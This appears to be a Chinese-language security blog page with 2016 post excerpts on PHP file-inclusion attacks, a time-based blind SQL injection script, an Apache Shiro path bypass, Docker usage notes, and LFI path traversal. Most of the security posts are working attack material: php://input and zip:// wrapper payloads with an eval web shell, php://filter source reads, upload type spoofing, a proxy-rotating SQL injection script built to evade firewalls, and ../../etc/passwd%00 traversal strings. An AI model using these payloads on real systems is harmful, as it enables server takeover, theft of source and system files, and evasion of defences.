wubba lubba dub dub.
post @ 2016-12-28

php://input需要服务器的支持,同时要求”allow_url_include”设置为On,在PHP的配置文件php.ini配置。对于一个LFI产生的漏洞比如:

index.php:

<?php
    $b=$_REQUEST["b"];
    @include($b);
 ?>
 
EXP:

GET http://evil.com/index.php?php://input
<?php system("id")?>

获取文件内容:
<?php echo file_get_contents("info.php");?> //测试可用
<?php echo base64_encode(file_get_contents("info.php"));?>  //http://www.cnblogs.com/LittleHann/p/3665062.html 防止获取`.php`文件的时候php执行,先base64编码下,但是实际测试上述即可用。php在4点多的版本使用这个可以读出来


fimap.py 类似sqlmap.py,用来文件包含扫描,可以获取一个交互shell
另外一个php伪协议:
 
file=php://filter/read=convert.base64-encode/resource=image.php
用来读取php文件。
 

$_FILES[“file”][“type”]
这个参数是浏览器生成传递给服务端的,虽然不是用户输入数据,但是是属于客户端传递过来的数据,也就是用户其实是可以控制这个参数的。只需要修改Content-Type: image/jpeg 就可以绕过这个检查,上传任意类型的文件。

php的zip伪协议

假设有以下的代码:

file.php:

<?php
@include($_GET['a'].".jpg");
@include($_GET['b'].".php");

明细的包含,对于参数a和参数b可以这样来解决,比如有一个

shell.php:

<?php eval($_GET['c']);?>

a参数最终包含的是一个jpg,b参数是一个php

对于a来说:
mv shell.php shell.jpg
zip a.zip shell.jpg

访问: http://evil.com/file.php?a=zip://a.zip%23shell&c=phpinfo();

对于b来说:
zip b.zip shell.php

访问: http://evil.com/file.php?b=zip://b.zip%23shell&c=phpinfo();
Read More
post @ 2016-11-08
#!/usr/bin/env python
# coding: utf-8

import requests
import time

target = 'http://www.vulnerable.com'
headers = {
	"Host": "www.vulnerable.com",
	"User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:35.0) Gecko/20100101 Firefox/35.0" ,
	'Connection': 'close',
	"Accept-Language": "zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3"
}


for i in range(1, 28):
	cookies = {"PHPSESSID": "f4udpabdluoed7ldhfp90"}
	payload = "1' or select if(length(user())={},sleep(15),1) or '1'='1".format(i)
	data = {"username": payload, "userpwd": "abc"}

	def val():
		while 1:
			r = requests.get("http://127.0.0.1:1111/time<4")
			proxy = r.content.strip("[\"]")
			ab = time.time()
			try:
				test = requests.get("http://www.vulnerable.com", headers=headers, proxies={"http": proxy}, timeout=5)
				if test.content:
					return (time.time() - ab), proxy
			except Exception:
				pass

	while 1:
		testtime, proxy = val()
		now = time.time()
		try:
			req = requests.post(target, headers=headers, proxies={"http": proxy}, cookies=cookies, data=data, timeout=200)
			if req.content:
				print "[*]i:%s, before:%s, now:%s, Cost:%s" % (i, now, time.time(), time.time()-now)
				print "[*]proxy:%s, Content:%s, Testtime:%s" % (proxy, len(req.content), testtime)
				print "[*]TimeCompare: %s" % ((time.time()-now) - testtime)
				print "=" * 30
				break
		except Exception:
			pass

开个proxypool.py,然后http://127.0.0.1:1111/time<4找个稍微好点的代理,就这样循环下去吧,这样每次请求目标之后,都会切换到下个代理。所以就不会触发防火墙啦,具体效果再说。

实测还没测出来,感觉有点悬。

Read More
post @ 2016-10-25

Apache Shiro before 1.3.2 allows attackers to bypass intended servlet filters and gain access by leveraging use of a non-root servlet context path.

描述比较简单,官方修改的时候对于最新版本做了简单的修改:


WebUtils.java
+ contextPath = normalize(decodedRequestString(request, contextPath));
if ("/".equeal(contextPath)) {
    contextPath = "";
 }
 return contextPath;

主要添加了上面一行,在请求处理之前先decoded,然后恢复正常。所以最后的exp很简单:

比如作为一个普通账户的时候,知道admin路径,在访问的时候访问admin路径,然后burp截断,在请求路径后面添加%2f,即可绕过shiro路径控制。

Read More
post @ 2016-10-08
  • Docker container(容器): 应用在内部跑,有自己完整的文件系统和操作系统。
  • Docker image(镜像): 应用代码各种库和文件打包一个文件,这个就是image,需要加载到容器才能运行。
docker info  #列出container和image的数量,宿主操作系统等

docker run -t -i ubuntu /bin/bash
#run 运行一个容器,-t 创造一个伪TTY, -i表示吧STDIN打开,这两个参数是让终端可用,ubuntu是指镜像名,/bin/bash是要运行的命令。exit或者Ctrl+d 退出

docker ps -a #查看有哪些容器在运行

docker start e0521aa52895 #启动那个容器
docker attach e0521aa52895 #再次登录上去,不能用run,否则会新建一个容器

上面两个命令用一个命令代替:
docker start -a -i e0521aa52895
# -a 表示attach, -i 表示开启stdin

如果想多连shell,attach命令会卡,可以用exec让这个容器再运行一个bash
docker exec -i -t e0521aa52895 /bin/bash

docker rm e0521aa52895 #删除容器
docker rm $(docker ps -q -f status=exited)d
#删除所有退出状态的容器

docker run -it -p 8888:80 imagine10255/centos6-lnmp-php56
#lnmp的80端口映射到8888端口,并且开启一个交互的shell

我想要docker在后台运行,每次都可以进去修改一些东西,但是查了资料不太如意,docker后台运行的时候,他里面必须要有一个程序一直在运行。为了偷懒我用了screen,然后docker run -it -p 8888:80 --name web imagine10255/centos6-lnmp-php56,这样退出之后使用docker exec -t -i 35f89fd74804 /bin/bash。突然感觉好方便=。=

给docker起一个名字之后可以这样执行命令
docker exec web ls
docker start web
docker port web

docker修改了部分文件之后可以先退出,使得docker的container是exited状态,然后docker commit 3d1d1748aaeb web 这样保存,下次直接运行web这个images即可。

docker save IMAGENAMW |bazip2 -9 -c > img.tar.bz2
bzip2 -d -c < img.tar.bz2 |docker load


docker export <container id> |bzip2 -9 -c > img.tar.bz2
bzip2 -d -c < img.tar.bz2 | docker import - name/versio:tag

现在做一个lnmp的docker,使用ubuntu12.04,lnmp1.3版本,dockerfile如下

FROM ubuntu:12.04

ENV ROOT_PATH /root
RUN apt-get update && apt-get upgrade -y && apt-get install axel -y && apt-get install net-tools -y
WORKDIR $ROOT_PATH
RUN axel ftp://soft.vpser.net/lnmp/lnmp1.3-full.tar.gz && tar zxvf lnmp1.3-full.tar.gz && cd lnmp1.3-full
WORKDIR /root/lnmp1.3-full
RUN echo -e 8e17f72 | bash install.sh


EXPOSE 80 3306 9000
CMD ["bash"]

docker build -t user/lnmp:tag .,在vps上面等等就ok,最后可以看到新生成的images,docker start -it IMAGEID bash删除一些东西,mysql进不去可以这样修改

/etc/init.d/mysql stop
mysqld_safe --user=mysql --skip-grant-tables --skip-networking &
mysql -uroot -p

update user set Password=PASSWORD('newpassword') where USER='root'
FLUSH PRIVILEGES;
quit
Read More
post @ 2016-09-25

文件包含漏洞(File Inclusion)

文件包含可能会出现在JSP、PHP、ASP等语言中,常见的函数如下:
PHP: include()、include_once()、require()、require_once()、fopen()、readfile()

文件包含是PHP的一种常见用法,主要由四个函数组成:

  • include()
  • require()
  • include_onec()
  • require_once()

当使用这4个函数包含一个新的文件,该文件将作为PHP代码执行,PHP内核并不会在意被包含的文件是什么类型。

所以如果被包含的是txt文件,图片文件,远程URL等都会作为PHP代码执行。

能够打开并且包含本地文件的漏洞称为本地文件包含漏洞(Local File Inclusion,LFI)

PHP语言是由C语言实现的,因此使用了C语言中一些字符串处理函数,在连接字符串的时候,0字节(\x00)讲作为字符串结束符。所以攻击者可以加一个0字节,截断file变量后面的字符串,即
../../etc/passwd\0,在get请求的时候进行Urlencode,变成../../etc/passwd%00

如果禁用了0字节可以利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。目录字符串,在windows下256字节,Linux下4096字节会达到最大值,最大值长度之后的字符串将会被丢弃。可以通过如下构造:
../../../../../../../../../../../../../../abc

  • %2e%2e%2f 等同于 ../
  • %2e%2e/ 同上
  • ..%2f 同上
  • %2e%2e%5c ..\
  • %252%252%255c等同于..\
Read More
⬆︎TOP